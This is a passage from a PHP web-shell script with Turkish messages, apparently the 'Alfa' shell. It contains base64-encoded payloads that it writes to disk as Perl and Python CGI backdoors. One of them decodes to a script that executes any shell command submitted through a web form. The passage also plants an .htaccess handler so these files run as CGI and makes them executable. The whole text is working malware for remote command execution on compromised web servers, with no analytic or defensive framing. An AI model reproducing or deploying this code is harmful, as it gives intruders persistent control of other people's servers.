eUFKRjFnTTJobXRFa3NxT245WnlZV2xUaGhrZkgyL09UTi91SFI4Y2w0bDlCUlRRdzF6ZldNUjZzNFlEVWtZWmFzcG5hU2dpQlNyWkY3d213L2pMTUdzU0tocGJFc0lQZTEvL2ZMamh0UmhhaFBsb3dnUTBMMXprejF3NGFYT3pvbE4xNUdDaEVKNEpjVnZzK3liRjZFNFYxSGw4bXBwQjU1cUJyMG1rZlVsdkU3eHdVVXJRSUo5WXFzTlN4YldKV0dQc1NLcGFPaEFNUVJVS3g0N3RCOHliT08vT2dFUFBObXdOWEowNExaWWlYb1FJWVV6Sm5sc1djVUVjdDhMMkVHaTN6dzVOdUxZK2kxU1J3Qlo2T09iVUthVVFKSStWM0NITG90b2xVTnBXVEY4bVVjT0xKY0U4L0hIdTJBWTdSTFArVkpmZ0o5Q1VIZ2t0RXc5R1lzSkVEc1VPV2FGS0JaNGtXRUE0dnBkSTZ1TEJJQVdnZ2RrV0dXcDNHMEdMV2lXWmJZOG5td2pDR0N4Qk14QUVTSk1iUUU5OUdRUnpnTlpQbGRDQ3FESjVMUXV4dEVZQnlZZ2xLMmtzRjUvdEtMRm9nVys4VUtyTzlBQk1jaHc5ZVhkOGVCNGVwYm5WemQ3UEFvWXVucnllbUpJN3lFOHJPcjduVkhERVNVU0M4aGxCSlJHdW1ja2d6eXg2RS83ZEZTTTdraUkxWFNsRjh5UmtyRkxZWEVXZklnWUZISk9kZ2lnNnVySFN6Yy9IVXE3MHNSSXBid1I2V1ZMaHI3Rkt3U1RUaGxlWkZHb2czakN4RnBhTmNUV0VHcXpEMzNGa3gycHJVMkZ2a1ZWUG8xNjQzOUVJSm9ERmZ2dmZZZisrMy9kZHYvdWpZdC9iSGVLU0paTUY4L29idFFMQzIyS1BmdFFReWFSM2tiRFI2UW5OM20xakpmaGRoUXRsdDJpSkRSY0FsNmpZWTV6ME0yT2tEQlpIWkg5aytPOXNtRTdaK1NOamw0ZFV6T1dSb09MWWswRkhrMGVyS0dDVFNFRWl3VGFiT3pUWXYxSFB5WUQwaktGOHZjamoreEZBQTNBK2wyMjQvRE9CM3M5UGZtODI3WHZ1RkJ2aHowbm5XVFc3dE1UQ2lMeUxjOWc2SHRvNDNLdDdkTUNBdERubVE4czIrV1BHZHQyQkkrV0JqRk42bVgyQnVSNytzVmxCMGV0WVg4QVpSUjRBMzBPWWR4c08yRmZCRU55QXFVQ1prOWkxTUlDdUFrdHlTTFF4NFFLSFgyREx5NlNIR21BZDloQllRTkR0NEU3TnQydHZRQzFLTUx2OCtBYXFjNy9xbjdiRjl4YXFkZXdJdHNnRXZLTnRMZlF3Vit4QXkvU0RQd0VVbGlqZ240RmNkSVk0bmM2K3U2em1pRGlrSEk1bm1wU0U5NFlpTzJ3cFhZQ25LUFhhK1Z3RkplblpjSTdzTnVrcEVrY1lvRjR5RUhiSGI4VmJEK1c5eEszLzJDS2o4UXp3ZWtKVjRROEdqUlZrN0tjcWpLQTdMMzVRcERUUkMrd2FCQWFEM1l5bGlUbEg2TnZLNXBYMU8rRkZ6VHBXN1B6cEg0S1FVUGVqOERta3I4dmVmKzN0N3pNdkc3M2NmVkR2R0tQTFkzV0w1eGd3MHR1VFZuT1AzR0VkYW1iMVZsY0RYVzR6a2daQWIycU5sQ1NIVG9UbGY4UUdHTkUrbEtoOElYcGtidFU3NEt0V3JmUzRaT0Z3QjBGakNUcGtHVnJKb3VWQk1sQ2dKSlIxZGtPS3RLQ1hpRWtjd0xTQXZTOXhQUE9IUmg4cWNBcTY4WGl4VTAvSTRmcjRiV2JFU3VzZjVHZVZWL2h6bDJiaUxkN05BZURCSlNTL1FlSlQ3c0pkdy80R2loSjM0cnh6dTBENHJteUNKb0VDbXQ1N0RySFBxT3BZRVhlV1ZmUWhKUW8ySFhUcjgvN3ZlZmk1WExTbk55c09DcU5zNUdTbTBDdFRlQzh5eFluOGNFbXo1TEljQTRCSFYwaVpjSCtNREcwbXdSUjNFTTlwWlRrTko3UkR1dEI4WWZZOXVIT3JUaUNBLzBGZnpGck1FVXdocFBhM0xVRGNJSkpQZ3hGZ0xrdGRiT1V4aDI4RVJYbmI5clBXbEV4QkVjNGlybUVqbEg2Q3FmdXovOUFpNjFkZEJ6ZTlXQUtvbGg1Y1gzS0dyT29kV0E4eVZOZnpabnZUMmdxYWxWNGwrN0dxRjJOUTJpTTJZL1BBM0tsZVc5SmVqOGpWV1lsaHhYWDhKT1d6ZG1TRmVIU0t1N25vN3U2aHV4NnYvUWhPbFhFK1kvblUrM285YVBqS0ovYTdJQ2dFd2VTTzQ2QTZ3V0pia3ZwMHlvVU52WnIvc1haekpmcHVzOTdISTJiTTZOaW1RMG9vM1pXRDYvUzcrVVNrWmlCZzY1LzlHaEVIdy9qdVljZHB1cjc2ZU0zTVVGbkZ2ZzVWZElBSlVCUUNRU1FrNkFSQTJGY3c4KzdLMU9yMk00cDFXREpXVG9QeG9xbTllQWErRDBTRzVjYysyRkhxamJOYXRKVUtBU2R1c3poaVY1NWQzeVZiRWlPUkNUR002SVg3bFR6QmpZSGhpWldaN0J4cmZNTDNKV01seHZXdHNyT1B0ZU9tMXZ1QzRQTG83UEo5T3ovZE14SEROcnU3M0NHRis4RzE5c01acW5hMUpleDlpYVROMFNoSWRXN2FLSVNtVWNFakRjRnRPWnVKeVZwMmtmcjhDMHhxRDlBRmFBV1BKU29JSDZRVjF1ZnNDVGRHTU40MFhGd2J5aEFsNFR2SGV6SjM3Z1prL3h4Z2t2ejJDd2dCT2l2Tzc1TG9GOW4wTEd2M2xGcWk1b096V292ZEhlaE1FRFI0bktQZFFQaUZ1djZTNkY2cXRZNGFLU1d3R1YrVjl4aldUOHdiUTNyWHNuSEx5L3dYdmZ2OVJSdGgzRGZWRlBqaHFtTE83M1d1SXc0Si9LQnFHR1E1eG1CbjBjeC9TUkdEK2s1WU9IdW9tYU1VVURxZ0t5YlVDeVNZT0kwVEQ1dHFqR1lGb0tMNGRLa3NZM21hUDN1enJKRXBoSi9DV0RvcUtMeWdDaVJUcW9yTWFNVXFkUGM5MnFMcXZLQlBpTGNhd2JVMCtQZW4zUUxvOWZyZlg5azR0VGNRM3F0cHJiMzViMTR5dEZRZDBvZi9FZkRjRDJzOU9yOGczdjZjaG5hb3VMS3dXVW1MdmJlbVBpMFNka3hyQ3hQZ0pXVTNYZ3hSdlExSTFNdkUxVkNhQk44UUM3QVduZFJuR3NNbEpvK0dVMTNHektGTExLK0pReHRwTGFTRWJ0MWxmSEpMdDFiMUt6L3c4d2JsUytGUm9BQUE9PSIpKSk7'; $file = fopen("perl.alfa" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("perl.alfa",0755); echo '

Alfa Python Perl Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)

Alfa Perl Cgi
'; } if(isset($_POST['cgi7'])){ mkdir("pythoncgi"); chdir("pythoncgi"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "AddHandler cgi-script .izo"; fwrite($dosya,$metin); fclose($dosya); $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5 OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+ CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48 ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1 dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5 ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6 IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+ PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0 ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi'; $file = fopen("python.izo" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("python.izo",0755); echo '

Python Cgi Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)

Python Cgi
'; } ?>